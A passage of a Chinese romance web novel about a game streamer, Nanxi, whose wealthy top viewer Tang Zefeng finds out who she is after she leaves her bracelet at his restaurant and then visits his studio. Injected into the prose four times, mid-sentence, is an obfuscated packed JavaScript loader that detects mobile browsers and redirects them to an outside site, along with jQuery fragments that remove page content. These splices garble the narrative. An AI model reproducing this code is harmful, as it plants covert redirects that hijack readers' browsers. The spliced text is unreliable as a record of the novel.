南汐欲言又止，她的直播事业跟家里人提得比较少，她害怕如果告诉韩颖，这个唐泽枫就是自己直播间的大老板之后，可能会被她认为对方是怀有目的地接近自己。 她权衡了之后，决定还是先不把他的另一重身份告诉她。 南汐想了想，说：“我听到他跟朋友说日语，可能是外国人。” “诶？那你不是正好专业对口吗？”韩颖说，“这话题不就有了吗，比如说你让他给你取个日本名字。” 上高中时老师曾经让大家自己取过日本姓氏，那时候班上的男生恶趣味地取了不少类似“久菜和子”、“松下手刹”、“麻辣王子”等恶搞名字。 而“南”本身也是日本姓氏，因此南汐根本不用动脑筋，中文名就已经被老师夸好听了。 南汐觉得韩颖的主意不错，但她并不想执行，究其原因，她还想利用自己能听懂日语的优势获得一些别的好处。 虽然没谈过恋爱，没有任何经验，不过南汐八百个心眼子，说话做事都想留个后手，以防自己找不到主动的借口。 南汐心心念念一晚上的寿喜烧终于上来了，开始点菜时她还担心菜品价格偏高会不会走的是精品路线，结果分量不少，尝过之后发现味道确实也值得这么多人排队。 上菜的仍然是为她们点单的年轻男生，韩颖提醒过一次之后，南汐有意留心，发现他果然把更多的注意力放在了自己身上。 从小到大因为长相受到过不少同学的青睐，南汐知道怎样利用这一优点。 在最后一个菜品端上来时，南汐先挑起话头，问他：“小哥哥，你认识刚刚带我们进来的那个人吗？” 许游愣怔一秒，点头：“认识啊。” 南汐好奇地问：“他是你们店里的老板吗？” 许游刚要摇头，想到什么，问南汐：“你们不是朋友吗？” 南汐没想到在门口说的那句“朋友”已经传到了服务员的耳朵里，一时间哑口无言。 原本还想从他这里多问点信息，现在看来是没戏了。 好在许游问完之后很快又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243998|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反应过来，笑：“哦，我知道了，是因为买单的事吧。” 南汐还没听懂什么买单，许游主动解释：“他今天是过来帮忙的，不算老板。” 等他走后，韩颖朝南汐说：“看来你们成为话题中心了，服务员都在讨论。” 唐泽枫在店门口的举动的确吸引了不少人的注意，南汐对此并不在意，她已经在思考怎么给自己创造机会。 她朝韩颖神秘兮兮地笑了笑，说：“姐姐，我有办法。” 半个多小时后，两人吃得差不多，准备离开时，韩颖看到南汐把手腕上的手串取了下来，放在了椅子上。 韩颖几乎瞬间就猜到了她的心思，会心一笑：“好啊你，愿者上钩是吧。” 南汐心里清楚唐泽枫是个好人，看到“不小心”遗失在包间里的手串肯定会主动联系她的。 所以她才敢放心地把手串留下，这是温琬送她的生日礼物，她可不想真弄丢了。 她拉上韩颖：“我们得快点走。” 别到时候人还没出去，“惊喜”就被送回来了。 她们从包间出来的路上并没有撞见唐泽枫，直到在前台买单，收银员告知，她们的账单已经提前结过了。 收银员并没有说出是谁买单，但两人早已经猜到了。 “怪不得那个男生说买单的事。”韩颖总算是反应过来了。 南汐说不出话来，只觉得那个为她挥金无数的大老板形象似乎跟现实里见到的唐泽枫要重叠在一起了。 见她离开店好一会儿还呆呆的，韩颖失笑：“宝宝，怎么不给你的心动男嘉宾发消息？好歹请我们吃了一顿饭呢。” 南汐这才恍然抽身，连忙拿起手机。 * 确认贵宾包间的客人离开后，许游这才走进去收拾餐桌。 他几乎一眼就注意到了原本南汐坐的位置上有一条蓝紫色水晶手串，许游走过去拿了起来，猜测应该是不小心落下的。 许游当即拿着手串走出来，可为时已晚，店里已经找不到两人的身影。 问过收银员后才得知她们已经走了一会儿。 许游不得不去找唐泽枫，在后厨见到他后，把手里的东西递给他。 “舅舅，是你那个女大朋友落在包间的。” 离得最近的厨师停下手上的工作，抬头惊讶：“有女朋友啦？” 许游跟他解释：“叔，是女大学生朋友。” 唐泽枫接过手串，没有问她们走了多久，倒是提出了一个许游始料未及的问题。 “你没见过这个？” “我怎么会见过？”许游还以为他在问款式，“我们高中都不让女生戴首饰的。” 牛头不对马嘴，唐泽枫失笑，跟着他从后厨出来。 手机正好在此时响了一声。 南汐：【唐先生，谢谢你的招待，真的很感谢[哭]】 南汐：【猫猫磕头.jpg】 唐泽枫单手打字回复她：【客气了，合你口味吗？】 许游见他手里拿着手串，完全没有联系失主本人的意思，说：“舅舅，你打电话叫她回来拿呗，她们应该没走远，可能就在旁边逛。” 唐泽枫却不慌不忙地处理完消息，神情愉悦：“不急。” “见面给她。” 11. 掉马 听到这句话，许游露出了有些失望的表情。 “她的声音听起来还挺像月宝的。”许游嘀咕了一句，“原来现实里真有这种女孩子啊。” 唐泽枫顿住脚步，好笑：“怎么，你以为主播是伪人？” 许游连忙摆手：“不是，我只是觉得很不真实，不过肯定是我想多了。” 有客人喊他，许游应了一声走了过去。 他不再想刚刚的事，心里暗道今晚得看Tsuki直播好好对比一下。 * 南汐跟着韩颖刚离开商业中心，手机收到了唐泽枫的回复。 她发消息都小心翼翼，生怕对方喊她回去拿手串：【很好吃！】 时间尚早，南汐想着反正下午也没什么事，便跟着韩颖回了她家。 韩颖的狗狗是一只五岁大的小泰迪，从来不怕生。 南汐上一次来姑姑家还是过年，隔了这么久，它还是对她特别热情，刚进门就要往她怀里钻。 南汐抱着小狗进了韩颖的房间，姑姑给女孩们端了盘切好的水果进来。 怀里的小狗中午刚刚洗过澡，身上散发着沐浴露的香味，正用毛发蓬松的脑袋往她臂弯里钻。 韩颖看了眼时间，距离她们离开神乐川已经过去了快一个小时，问：“他还没给你发消息？” 南汐一直拿着手机，没有任何新消息进来，她摇了摇头。 “他们店里有监控，服务员应该不会私自拿顾客的个人物品。”韩颖说，“要不你主动跟他说你丢了东西吧。” 南汐也觉得时间差不多了，刚要解锁手机，正在此时，像是有预兆似地，微信提示收到了一条消息。 她点开看，是唐泽枫发来的一张图片，她的水晶手串被男人宽大的手掌拿在手心里。 唐泽枫：【服务员捡到的，是你的吗】 韩颖就坐在她面前，看到了这条消息，惊喜：“说曹操曹操到，正好，你准备跟他约什么时间见面？” 她说完这话后却迟迟没有听到回应，抬头一看，只见南汐一动不动地盯着手机屏幕里手串的图片，像是灵魂出窍了。 南汐在看唐泽枫的手，仔细到手心掌纹的每一条线路走向。 韩颖奇怪地跟着看过去，冒出一句：“他能活到一百岁吗？” “啊？”南汐猛地回神，“什么一百岁？” 韩颖把她的手也伸过来：“听说手相能看财运，你觉得我多少岁能发财？” 南汐哭笑不得：“我不会看这个呀。” “那你盯着他的手看什么。” 南汐慌忙把图片缩小：“没、没什么。” 她又看了一遍唐泽枫的消息，打字回复：【是我的，不小心落在包间了[可怜]】 南汐把早就想好的措辞发过去：【我已经回家了，可以改天去拿吗？】 她对面的韩颖嫌倒着看文字不方便，挪到了她身边，凑过来看。 对方回消息很快：【好，你什么时候方便？】 南汐：【我都方便，看你时间，给你添麻烦了，真的很抱歉T-T】 唐泽枫：【没关系】 唐泽枫：【明天有空吗，我给你送过去】 南汐：【有的！不用麻烦你了，我去找你吧！】 韩颖看得啧啧称奇。 印象里这个只比她小三岁的妹妹从读书起就是家里的乖乖女，父母宠爱，成绩不错，唯一的兴趣爱好就是打游戏。 她从初中接触到电子游戏后就深深着迷，在不耽误学业的情况下，所有的假期闲暇时间都花在了游戏上。 南汐从小长相漂亮，喜欢她的男生不少，她却没给过任何机会，在韩颖眼里她更像是能跟男生相处成朋友的性格。 头一回见到她少女心萌动，本以为会是小女生心态，谁知道在钓男人这方面她竟然也这么有天赋。 很快，唐泽枫发来了一个定位，显示在产业园区，地名为“无界数字艺术工作室”。 唐泽枫：【我在这里工作】 南汐还没开口，韩颖先惊讶地叫出声来：“不是吧？” “怎么了？” 韩颖指着那个地址，解释：“上个月有个很火的手游角色出新皮肤，因为换了建模被骂上热搜了，听说之前负责建模的就是这个工作室。” 她刚说完，又好奇，“听说他们还参与了不少端游、主机游戏的角色开发，你玩过的游戏不是很多吗，竟然不知道？” 南汐玩游戏几乎没有注意过幕后人员，每次游戏打通关，结尾出现字幕时，她都没有耐心看完，直接跳过。 这个工作室的名字对她来说很陌生。 她当即用手机查了一下，跳出相关作品时，脑子里的记忆才终于被唤醒。 几乎都是她直播玩过的游戏，里面的角色甚至有不少是南汐印象深刻的，光看到名字脑海里就跳出了人物画面。 震撼的同时，南汐对于唐泽枫的工作变得尤为好奇起来。 以他雄厚的财力状况来看，恐怕是金字塔尖的大人物。 如果不是这两次机缘之下的巧遇，也许南汐这辈子也触碰不到这个行业的从业人员。 韩颖见她看得入神，催促：“你先回他消息啊。” “哦，差点忘了！” 南汐回复他：【唐先生，我明天上午去找你！】 唐泽枫：【好，我等你】 事情完全按照南汐所想的发展，每一步都在预料之内。 韩颖感叹了一句：“我开始以为你的计划漏洞百出，看来还是我太天真了。” 如果不是真的傻，那就是愿意陪她演戏。 * 当晚的直播，南汐刚开播就有观众在问新衣服的进度。 南汐戴上手表，回答：“你们别急啊，没有这么快的。” 她在等唐泽枫的到来。 之前开播，南汐都是直奔主题，不多废话一句打开游戏就玩，但这几天明显放慢了直播节奏，为了能让大哥在直播间多停留一会儿，刚开播她都会跟观众们聊聊天。 南汐提到今天下午发生的事：“去姐姐家跟小狗玩了，好可爱啊，我都有种想养狗狗的冲动。” 六句迷人诗发送了[30元付费留言]：【直播间这么多舔狗，主播随便挑】 南汐把麦克风移远了笑：“这可不是我说的啊。” 【哥们看个直播连人都不是了】 【我可以，月宝看看我，pickmepickmeup】 【你们快别说了，等会儿元神看了怎么想】 【有事忠犬，无事舔狗，中华文化博大精深】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250797|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【我会做饭洗衣服，只吃狗粮，可以做主播的狗吗】 看他们越说越离谱，南汐怕真的被唐泽枫看见，连忙转移话题：“朋友们，最近在学日语，有没有什么好看的日剧推荐呀？” 明天又要跟他见面了，南汐打算今晚在直播间营造一个不懂日语但在学习中的人设。 此话一出，弹幕都在推荐。 别说日剧，就是动漫、小说她也不怎么爱看，一是兴趣不大，二是时间不够。 放假在家不上课的时候，南汐也只爱打游戏，电视剧一集太长，她抽不出这么多时间追剧。 看到弹幕的风向变了，南汐松了口气。 正在此时，心里想着的人出现了。 元气用户28389发送了[2000元付费留言]：【白夜行】 南汐虽然不看剧，但课上也听过东野圭吾的名字，知道他出名的一些代表作。 她谢过留言，说：“好啊好啊，那我看哥推荐的。” 没想到唐泽枫会参与话题，南汐在心里盘算着，虽然只是一部日剧，但或许在之后跟他见面聊天时用得上这个话题。 南汐又问：“日剧有多少集啊？” 【白夜行好看的！强烈推荐】 【日剧很长，月宝直播看吗？】 【直播看太没意思，水得太明显了】 【要不看解说吧，解说就半个多小时】 【不是，都说了学日语，看中文解说有啥用？】 “可以先看看嘛。”南汐看到唐泽枫仍然在线，说，“朋友们，先水半小时，我特别想看。” 她在网页上搜了一下解说视频，打算先了解一下剧情，如果好看的话之后再补正片。 随便点开一个视频，南汐起身离开房间，去冰箱里拿了瓶果汁再回来看。 唐泽枫还没有离开，这让南汐觉得很安心。 视频播放到一半，南汐正认真看着剧情，忽然注意到了一个名字，手指下意识地按到了空格键。 弹幕一时间都在问怎么忽然暂停了。 南汐看着屏幕底部的那行字，脑子宕机了。 【此时的她现在已经改名为唐泽雪穗】 南汐目光落在“唐泽雪穗”四个字上，忽然有了一种不好的预感。 见弹幕飘过去一大片问号，她先继续播放视频，随后迅速拿起手机。 找到唐泽枫的头像，她紧急发了消息过去。 【啊啊啊不好意思！！！】 【我是不是搞错了TAT】 【你是姓唐泽吗？】 她已经叫了好几次的“唐先生”了，如果真的弄错了他的名字，那也太尴尬了！ 他怎么没有指出她的错误呢？！ 消息发出去后，南汐便一直盯着聊天页面，忐忑地等着他的回复。 没注意到弹幕又在讨论她莫名其妙上升的心跳。 隔了几秒钟后，对方终于回复了。 唐泽枫：【只有一个小女孩搞错过】 唐泽枫：【你是吗】 南汐一时间没有反应过来他在说什么。 直到她注意到了右边自己的头像。 不是私人号的淘气，而是工作号的皮套。 南汐当场石化。 她、忘、记、切、号、了！ 12. 眼光 【主播这是咋了，这解说这么带劲？】 【怎么心率150了？月宝没事吧？】 【主播别噶好吗，怎么没声儿了】 【发生什么事了？月宝最近的心跳跟过山车似的】 【手表又坏了吧】 【建议主播赶紧去医院做个心电图】 弹幕刷得飞快，而屏幕前的人却完全没有注意到。 南汐一头磕在桌垫上，满脸生无可恋，已经想换个星球生活了。 怕有工作消息发进来，一到直播就切到工作号，这是南汐每天的习惯。 在得知自己似乎叫错了大哥的名字时，她一下太心急，看到唐泽枫的头像就发出去了。 南汐的大脑系统已经卡顿死机，半天找不到解决方案，万念俱灰，最终选择放弃思考，消极对待。 她的主播身份在网上一直保密得很好，除了家人和大学宿舍的舍友，没有别的人知道。 一是网络环境复杂，二是人心难测，南汐习惯了工作和生活分开，不想让别人窥探到她的现实生活。 唐泽枫是个意外。 在现实中见到他的第一面，南汐就狠狠动了心，对方的身份又和她的工作有紧密的联系，她本是想借此好好发展发展的。 谁知道这才第一周，自己就在他面前原形毕露。 人怎么可以捅这么大的娄子？ 耳机里博主还在用平淡的声音解说着剧情，南汐自我逃避了一会儿，抬起头看到屏幕里对方发来的文字，表情更痛苦了。 听他的语气，似乎早就已经知道了。 她几乎都能想象到唐泽枫是怎样笑着将这两句话发出来。 南汐恍然惊觉，怪不得今天在日料店里他语气那么熟稔，又是请她进贵宾包间又是买单。 她还傻乎乎地以为他是看上了自己！ 惊人的热度爬上脸颊、耳根，南汐又不想面对现实了，恨不得当场下播倒头就睡。 但她清楚地知道自己现在才刚开播，要是无缘无故下播更惹人怀疑。 缓了好几分钟，好不容易将心底的翻涌情绪压下去那么一点，南汐摸到手机，有气无力地发消息： 【你是不是早就知道了o(╥﹏╥)o】 她所有的心思都在手机上，就连视频已经播完，耳机里声音消失了都没注意到。 对方很快回复，发来一条几秒的语音。 南汐的主板已经被高温烧坏了，想都没想就点开，手机里传出男人含笑的声音：“你不是也早就认出我了？” 她的手机距离麦克风很近，这句声音完整清晰地传到了落针可闻的直播间里。 观众快把弹幕刷爆了。 【什么？我听到男人的声音了？？？】 【啊？？谁在说话？？】 【？？？×871】 【月宝真的恋爱了吗，我不活了啊啊啊】 【噩耗，我连舔狗都没资格做了】 【直播间舔狗葬礼了说是】 【不是？主播的CP不是元神吗？】 【爹你快出来说句话啊@元气用户28389】 【这下建议主播做心电图的是真小丑了】 南汐余光瞟见弹幕区在疯狂滑动，后知后觉刚刚那句话被外放出来了。 接二连三的直播事故，让她道心濒临破碎。 南汐张了张口，却不知道要怎么解释。 人在极度无语的时候真的会笑出来。 她双手捂脸：“朋友们，我……我说是我哥你们信吗……” 【异父异母的亲哥哥？】 【你别说声音有点好听的】 【纸片人哪里来的哥哥，我不信！】 【你们都不知道月宝有个比她大两岁的亲哥吗？别吵了】 【哥们骗骗大家就算了，别把自己也骗了】 【恋爱了就大方承认嘛，支持主播恋爱自由】 南汐赶紧回复弹幕：“没有恋爱，真的没有啊，我很诚实的。” 这话虽然是实话，但南汐总觉得自己百口莫辩，她看着弹幕飞快地刷屏，刚刚烧坏的脑子还没重启，不知道该怎么办了。 好在这时，礼物区弹出了通知。 元气用户28389发送了[1000元付费留言]：【我相信你】 随后他又送了几个全屏的特效礼物。 救星总在最恰当的时机出现。 虽然知道他是为了给自己解围才这么说，但这话是他发出来的，南汐还是心情纷杂万千。 她提起的心又慢慢地安放了回去，在礼物动画播放的期间连忙打开游戏。 “谢谢哥的留言和五个白色风车！”南汐从来没发现自己的语速能这么快，“非常感谢！你们看哥都这么相信我了，不说了不说了，今天看视频环节就水到这里，我要开游戏。” 只要开始打游戏，观众的注意力被转移，她也可以暂时把自己掉马的事抛之脑后。 显然唐泽枫的这条留言稳住了军心，毕竟他才是给Tsuki花钱最多的大老板，连他都信了，陪伴粉们自然也都跟风相信。 南汐见风向逐渐好转，总算是松了口气，在等待游戏进入期间，谨慎地打开手机，给唐泽枫发去消息。 南汐：【谢谢你】 南汐：【我下播再跟你解释】 消息刚发出去，对方就回了一个字：【好】 游戏开始后，元气用户28389便离开了直播间，南汐轻松不少，心理负担一下就清空了。 随着时间快速流逝，十一点半，南汐关了游戏，忽然又不愿意下播了。 直播结束之后南汐就得再一次面对唐泽枫，可她心里还没有打好草稿，不知道到底要怎么解释。 她藏在心底的心事件件难以启齿，万一又说错了话，明天还要不要见他了？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255761|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 南汐不自觉地叹了口气。 【叹气干嘛？】 【最近几天作息好健康，都不适应了】 【月宝，七夕有活动吗？】 南汐随口回答弹幕的问题：“七夕估计会有吧，可能还是读邮件？主要是读邮件最容易交流感情。” 【说到感情，那我问你】 【元神不在，月宝大胆聊聊呗】 【所以心动男嘉宾到底是谁啊？】 南汐见他们又好奇起来，觉得自己要是不解释清楚这件事，恐怕之后会被一直提起。 正好她还缺一个时机，南汐干脆提前预告：“其实是这样的，下周六我会跟一个朋友联机玩游戏。” 【朋友？真的只是朋友？】 【双人游戏吗】 【男的女的？也是主播吗？】 “不是主播，只是朋友。”南汐回答，“就是你们开始听到的那个声音，是男性朋友哦。” “我可以参与你们吗，当然不行啦！”南汐斩钉截铁，“是双人游戏。” “不过说到双人游戏，你们有推荐的吗？”南汐嘀咕，“我觉得他技术应该挺好的。” 【什么技术？？】 【双人游戏很多啊，看你俩默契度】 【我只关心你俩到时候会不会吵架啊】 【分手游戏不是说着玩的，我跟我前女友就这么闹翻的】 南汐看到这条长弹幕，说：“有没有一种可能，你前女友其实也不爱玩游戏，单纯只是想陪你呢。” 【走心了主播】 【你这是戳他心窝啊，这不得连夜把前女友追回来】 【月宝好懂啊，谈过几个？】 “什么谈过几个，主播眼光很高的。”南汐说，“好看的鸭头千篇一律，完美的鸭掌万里挑一。” 【还在鸭掌，这到底是什么梗】 【懂了，月宝喜欢鸭子】 【我也不是不可以，月宝看看我】 【纯路人，这是动物园吗，又是狗又是鸭】 【主播不会是足控吧？！】 南汐看到这条危险的弹幕，瞬间警觉起来。 仔细想想，这个比喻确实不太恰当，更正确的应该是鸭翅才对。 可是鸭翅也没有手指啊。 “好了朋友们，今天就聊到这里吧。” 她不想再费脑筋，多余的脑细胞还要用于跟唐泽枫聊天。 下播之后，南汐切回私人号，给唐泽枫发去消息：【哥你睡了吗】 对方总是秒回她的信息：【还没有】 南汐一鼓作气，打算先发制人：【你是怎么认出我的呀？】 唐泽枫：【证物不是给我了？】 南汐正奇怪自己给过他什么证物，脑中忽然冒出留在唐泽枫那里的水晶手串。 难不成…… 唐泽枫看到了那天真人出镜的直播？？？ 13. 彼女 回家的第一天，南汐用手机播了半个多小时，因为没有发直播通知，唐泽枫并没有来到直播间。 虽然在下播之后出现了热评里疯狂艾特元气用户28389的直播回放，但南汐发现得很快，到温琬联系那人删除视频也就几分钟的时间。 唐泽枫竟然在那么短的时间里就看到了？！ 南汐实在是太好奇了，问他：【你看到了我真人直播吗】 果然，对方回复：【看了一点】 难怪。 南汐深深地叹了口气。 她手上那条手串是温琬亲手做的，中间的银猫吊坠也是手工打造，全世界独有一份，怪不得唐泽枫能够第一时间认出她。 南汐悲催地想，恐怕在扫码加他好友时，唐泽枫也早就看穿了她的惊愕迟钝，只是好心地没有拆穿，配合她一起装瞎。 如果不是这次自己忘记切号，把原本应该工作号发给他的消息误用了私人号，不知道他还要看多久她的笑话。 南汐抬手摸了摸自己的发烫的脸颊，缓了一会儿才继续打字。 这一次态度非常诚恳：【我不是故意的！】 南汐：【我以为你没认出我，所以没敢暴露身份[可怜]】 她的身份的确有些特殊，唐泽枫很快回复：【我知道，你不用道歉】 南汐发去一张流泪猫猫头。 唐泽枫：【不哭】 唐泽枫：【明天见】 南汐轻易就被安抚好情绪，回他：【明天见！】 说是明天见，等南汐收拾好自己躺上床已经是第二天凌晨了。 原本以只见过两面、没那么熟悉的关系去见他，心里还轻松一点，而经过今晚直播，两人彻底开诚布公，南汐反倒紧张了起来。 这跟面基网友有什么区别！ 手串是自己给出去的，见面也是她要求的，南汐不后悔，只是没有想好要怎么见他，心里乱成一团。 公开身份后，势必会有更多的话题可以聊，但南汐每回在现实中见到他都怦然心动、脑袋短路，完全不似直播时放松自在、游刃有余，她怕鲜明的对比给唐泽枫带来落差感。 会不会让他觉得失望？ 南汐辗转反侧，头一回在家里失眠了。 好不容易在两点多迷糊睡着，六点钟就自然醒了过来。 想到马上要见到他，睡意被驱散得一干二净，南汐干脆起床洗漱。 她挑了一套浅蓝色花苞公主裙，搭配了一条细细的珍珠项链，为了显得清爽，还特意扎了两个丸子头。 这个点爸妈都还没起床，南汐给淘气弄好猫粮，开了猫罐头，陪着它玩了一会儿才进厨房做早餐。 长这么大下厨的次数很少，南汐做了三个三明治，热好了牛奶，刚端上餐桌就收到了爸妈的好评。 “今天这么漂亮。”南沉云笑着调侃一句，“要去见谁啊？” 南汐的耳尖可疑地红了，不过好在父母都没有注意到。 祝晴帮腔：“去见小颖吧？昨天姑姑还跟我说叫你去多住几天。” 南汐不擅长撒谎，点头这几下心里都心虚得很。 八点多，爸妈去上班了，南汐才收拾东西准备出门。 产业园区离家里有些远，乘坐地铁要四十分钟才能到。大概是今天稍微打扮了一下，地铁上碰到好几个男生主动过来要微信，南汐都委婉地拒绝了。 下地铁后，南汐打开导航，跟着指示走了一段路。 好在早上太阳还没有那么大，南汐走了没几分钟就在写字楼上看到了“无界”的醒目logo，然而门口的安保很严格，没有员工证一律不让通行。 南汐只好给唐泽枫发消息：【我到楼下啦】 对方很快就回了：【好，等我一下】 等待唐泽枫过来的时间里，保安和她聊起来：“小美女，你来面试啊？” 南汐刚要摇头，忽然来了兴致，小声问他：“叔叔，这里面无界工作室的人多不多呀？” “这栋楼都是他们的。”保安也压低声音，“里面很多大佐。” 南汐愣了一下才反应过来他的意思，忍着笑意：“那你认识唐泽先生吗？” “认识啊。”保安当即点头，和她解释，“这位是大老板，本土化得差不多了，普通话比我还溜。” 南汐还在憋笑，又听保安问：“来这上班挺轻松的，他们到点就下班，你应聘什么职位啊？” 南汐神秘兮兮地说：“叔叔，你觉得老板助理怎么样？” “哟，那你要跟大佐打交道。”保安问，“你听得懂他们叽里呱啦讲什么？” 考虑到专业性比较强，南汐比了一个手势：“大部分都听得懂啦。” 话音刚落，VIP电梯响了一声，门打开后，唐泽枫从里面走了出来。 他今天穿了正装，一身西装凸显商务气质，额前的头发也撩了上去，露出锋利的眉眼。 与前两次见到的休闲模样大不相同。 保安噤声，朝他恭敬低头：“老板好。” 唐泽枫的目光落在门口的南汐身上，只随意地点了点头。 他刷了一下手里的门禁卡，朝她说：“过来。” 南汐还在看他举起的那只手，听到声音才慢半拍地朝他小跑过去。 穿过安检门，南汐站定在他面前，学着刚刚保安的语气，抬手朝他敬礼：“老板好。” 唐泽枫被她的举止逗笑，看到白皙的脸颊上浮起淡淡的粉霞，先是问她：“热吗？” 他的语气并不陌生，昨天在日料店提问时也是同样的熟稔，南汐后知后觉反应过来。 她轻轻摇了摇头，没看到对方手上拿东西，猜想应该没有带下来。 果然，唐泽枫又说：“手串在楼上忘拿下来，你愿意跟我上去一趟吗？” 南汐心里一万个愿意，表面上还得假装矜持，只是弯起的眉眼多少有些出卖自己。 “好啊。”她走在唐泽枫身侧，垂下的视线黏在他的手上，分毫不想移开。 他今天戴了一款男士手表，门禁卡的蓝色细带很长，随意地缠在食指和中指上。 那颜色和自己裙腰上的蝴蝶结系带实在是太相似，让南汐总幻视唐泽枫在抓着她后腰上的绑结。 仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272272|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛下一秒就要解开。 光是幻想就让南汐心脏怦怦跳，因为过于投入，她没注意到电梯间的玻璃门，差一秒就撞了上去。 是唐泽枫眼疾手快地抬手抓住了她的手腕。 “小心。”他出声提醒，“前面是玻璃。” 南汐顿觉一股温暖的热意从手腕处传来，钻入皮肤的每一个毛孔，瞬间传递到了心脏处。 仿佛有一股无形的电流从指尖传遍全身，令她浑身酥麻，双腿发软。 她猛地停住脚步，唐泽枫的手却很快撤开，徒留那还未散去的热度。 南汐一句“谢谢”说得结结巴巴，也不知道吐出几个“谢”字。 她低着头，从唐泽枫的角度只能看见两只红红的耳尖，他笑着问：“在看什么？” 南汐连忙抬起头，不敢再盯着人家的手看，目光飘忽又没有落点处：“没、没什么。” 进电梯后，南汐故意把手背在身后，趁着唐泽枫看不见，偷偷地摸了摸他刚刚碰过的手腕处，有些痒。 看到他按下了15层的按键，南汐下意识地往他身后侧挪了挪。 男人肩膀宽阔，个子很高，南汐今天穿的是四厘米的玛丽珍鞋，站在他面前仍然只能到他的肩膀处。 她正在脑子里思考怎么搭话，唐泽枫已经主动开口：“在放暑假？” “嗯。”南汐点点头，“下半年大四了。” 唐泽枫从亮如镜面的电梯厢壁看向她，注意到她的视线又垂了下去，似乎在看自己的手。 他以为是手里的门禁卡吸引了她的注意，正要抬起，电梯却在8层停了下来。 南汐抬眼，看到电梯门打开，门外站着五六个正在用日文交谈的男人，见到她的一瞬间，他们终止对话，也将目光投了过来。 南汐下意识想往后走腾出空间，可刚后退一步，后腰撞上了一条手臂。 她回头，见唐泽枫将左手抬起护在她后腰处。 “我们先下，让他们进去。”他说。 南汐轻声“哦”了一句，为掩饰自己的心慌，熟练地低下头，感觉到腰后的手臂放了下来。 唐泽枫稍稍向南汐这边侧身，从其他人的角度看来，两人之间的距离似乎过于亲密。 电梯门关上后，稍显拥挤的梯厢鸦雀无声，只有电梯运行的轰轰声做背景。 直到南汐听到一个男人用调侃的声音开口：“彼女？” 日文中的“彼女”大部分情况下是女朋友的意思。 不知道是不是看到了刚刚唐泽枫护着她的那个动作而引发的猜想。 南汐还没忘了自己的人设，低着头一动不动装傻，只是耳尖红得愈加厉害，连带着脸颊也快要烧起来。 她听到身前的唐泽枫笑着否认：“不是。” 随后是一个很熟悉的嗓音：“诶？” 南汐记忆力不错，很快就想起来，这是在探月园第一次见到唐泽枫时，他身边的那个朋友。 “这不是那个高中生吗？” 很显然，他也认出她了。 朋友的声音里藏不住的震惊，“你真打算下手了？！” 14. 吃饭 此话一出，南汐感觉到自己成了所有人的目光焦点。 从来没觉得自己社恐过的她头一回感觉到了巨大的社交压力。 成为话题中心并不是压力的来源，和唐泽枫一起被他的同事、朋友讨论才是。 唯一值得庆幸的点在于，她可以假装听不懂，不用做出任何回应。 南汐时刻不忘自己的人设，她抬起头，故作茫然地看向唐泽枫。 他唇边挂着淡淡的笑意，仿佛并没有把朋友的质问放在心上：“她不是高中生。” 男人们你一句我一句地聊了起来。 “看起来挺像的。” “我也有个这么可爱的妹妹。” “说是你女儿也不为过。” 唐泽枫失笑：“太过分了，我也没那么大。” “她来做什么？” “来取丢失的物品。”唐泽枫说，“别想太多。” “枫，这很难不让人想太多。” 12层到了，男人们谈笑着离开电梯。 空间宽敞起来，南汐却没有立刻和他保持距离，而是好奇地问：“你们在说什么？” 唐泽枫按下关门按键，回答：“在谈工作。” 他越是不想说，南汐越是心痒痒：“可是我听到了‘卡哇伊’，什么工作很可爱？” 意识到糊弄不过去，唐泽枫笑了一声，告诉她实话：“说你可爱。” 南汐背在身后的手指拧在一起，小声问：“真的吗？” 她把问题重新抛回给了唐泽枫，想知道他的看法。 唐泽枫看向她，视线撞在一起的瞬间，他给出了肯定回答：“真的。” 问题也是她故意要问的，得到了想要的答案，南汐又不好意思了。 她慌忙移开目光，想要装作平静，可经验不足，双眸无落点地乱飘。 将她的细微动作尽收眼底，唐泽枫这才发现，刚见她时的脸红状态并不能归咎于天气热。 他又问：“直播间观众见过你的样子吗？” 